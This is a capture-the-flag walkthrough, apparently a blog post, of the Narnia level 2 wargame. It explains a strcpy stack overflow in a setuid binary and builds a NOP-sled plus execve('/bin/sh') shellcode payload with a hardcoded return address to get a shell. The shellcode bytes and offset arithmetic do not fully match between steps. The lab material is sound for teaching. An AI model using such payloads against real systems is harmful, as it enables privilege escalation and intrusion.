Introduction

In the previous write up the environment variable was set to the exploit payload granting an escalated shell. This challenge is different however, it will be building upon the theme of binary analysis.

Getting Started

Once logged into the Narnia server as the narnia2 user the ./narnia2 binary and source code, narnia2.c are accessible. They can be located at the /narnia/ directory. First, we will take a peek at the source code. Personally, I like to use the less command but, the cat command will work just fine.

Source Code Analysis

Fig. 1: Output for narnia2.c

Analyzing the source code for narnia2.c we see the header files declared.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

The #include <stdio.h> lets us know that the standard input and output header file is included in this source code. Check out the documentation for this header file here.

The #include <string.h> lets us know that the string header file is included in this source code. This library contains several functions for dealing with strings. Check out the documentation for this header file here.

The #include <stdlib.h> lets us know that the standard general utilities library is included in this source code. This library contains several general purpose functions. For more information check out the documentation for this header file here.

These declarations are used to tell the compiler which libraries to process first. These are pre-processor statements and ensure the availability of the declarations within these libraries. This is useful for us because it is a precurser into letting us know what this program does. The next line declares the main function and passes two arguments, argc and argv.

int main(int argc, char * argv[]){

The variables named argc (argument count) and argv (argument vector). The first argument is the number of parameters passed plus one to include the name of the program that was executed to get those process running. Thus, argc is always greater than zero and argv[] is the name of the executable (including the path) that was run to begin this process.

Next we have an array declared named buf with a size of 128. This is important to us because we now know the limitations of this variable.

    char buf[128];

Moving forward we have an if statement which tells us if argc == 1 then the statement Usage: %s argument\n", argv[0] is printed. From what we learned earlier in the main function declaration. The argv variable is the actual executable and argc is the arugments passed to it. This if-statement tells us that we must pass some argument to the executable in order for it to run.

if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }

Next we get to the actual functionality of the main function. First, the strcpy function takes the arguments passed via argv and copies it to the variable buf. The variable buf only has room for 128 bytes. As indictated by the char buf[128]; declaration. Then the value’s passed are printed out.

    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}

Binary Analysis

Now that we know a little more about how the program is supposed to run lets see what it looks like when run under the right circumstances. One command I like to run is ltrace which will run the binary until it exits. Recording and intercepting the dynamic library calls that are called by the executable. This is not necessary however, it will show us some information regarding the memory addresses that are called. Running the executable a few times with ltrace will show us if the memory addresses change. Indicating the binary was compiled with ASLR (Address Space Layout Randomization). Running the executable with and without a command line argument.

ltrace ./narnia2
ltrace ./narnia2 $(python -c 'print "A"*128')

Fig. 2: Memory address doesn’t change for the main() function.

Now we know the memory address doesn’t change. We supplied exactly 128 A’s so let’s step it up and add some more characters and observe. Let’s add 140 A’s and see what happens.

ltrace ./narnia2  $(python -c 'print "A"*140')

Fig. 3: Segmentation Fault when supplying more than 128 characters

Great! We got a Segmentation Fault and now we need to determine the exact offset to craft our payload. We will use GDB to debug the binary while supplying the charcters. To run the binary through GDB run the below:

gdb -q ./narnia2

This part is not necessary but I like to set the disassembly flavor to intel.

set disassembly-flavor intel

Then we will disassemble main and set a breakpoint at the end of the main() function. Your memory address may be different but you’ll want to set a breakpoint at the leave operand.

Fig. 4: Disassembly of the main() and breakpoint set

With our breakpoint set we can now run our payload to determine the offset. Knowing the offset is important to know the size of our exploit and knowing where to set the return address. To do this we will supply 140 “A”s plus 4 “B”s and see if our “B”s overwrite the Instruction Pointer(EIP) register.

Fig. 5: The A’s continue to overwrite the EIP register

Ok, so our EIP register was not overwritten by our B’s so it looks like we need to reduce our A’s. We will reduce our A’s by 4 and try again. So we will send 136 A’s and 4 B’s and if that doesn’t work we will continue to reduce our A’s until we see our EIP register overwritten by our B’s.

Fig. 6: The EIP register is overwritten with a payload of 132 A’s.

Exploit Development

We have our offset and know the size we are working with. Let’s start crafting our exploit! Consulting http://shell-storm.org we will be using this Linux x86 execve(“/bin/sh”) shellcode.

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

This shellcode will execute /bin/sh for us and is 25 bytes in size. Taking our payload of 136 A’s and replace them with a NOP sled (\x90), minus 25 bytes for our shellcode and 4 bytes for our EIP. The NOP sled is used to direct the CPU’s instruction execution flow to a desired destination. In this case, our shellcode.

$(python -c 'print "\x90"*107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "B"*4')

Let’s throw our payload at the binary and see what happens. Fig. 7: The binary with our payload and EIP register overwritten with B’s Now, we need replace our B’s with the memory address somewhere in the middle of our NOP sled. To do this we will examine the Stack Pointer (ESP) and find a memory address that is filled with \x90. To examine the stack.

x/300wx $esp

Fig. 8: The stack with our NOP sled, payload and the EIP buffer

Picking a memory address somewhere in the middle, like 0xffffd850 should work. Essentially what will happen is the EIP register will be overwritten with our NOP sled and slide into our shellcode, perpetually. Our new payload looks like this now.

$(python -c 'print "\x90"*107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x50\xd8\xff\xff"')

Fig. 9: The debugger executes a new process when EIP is overwritten with the NOP sled Great! We can see in the debugger that our payload executes a new program /bin/dash. This lets us know that our payload is ready. Now it’s time to test it against the binary. Fig. 10: Successful exploitation of the narnia2 binary

If you missed out on Narnia Level 1 click the button on the left to check it out. If you’re all caught up and want to see more, check out the Narnia Level 3 by clicking the button on the right.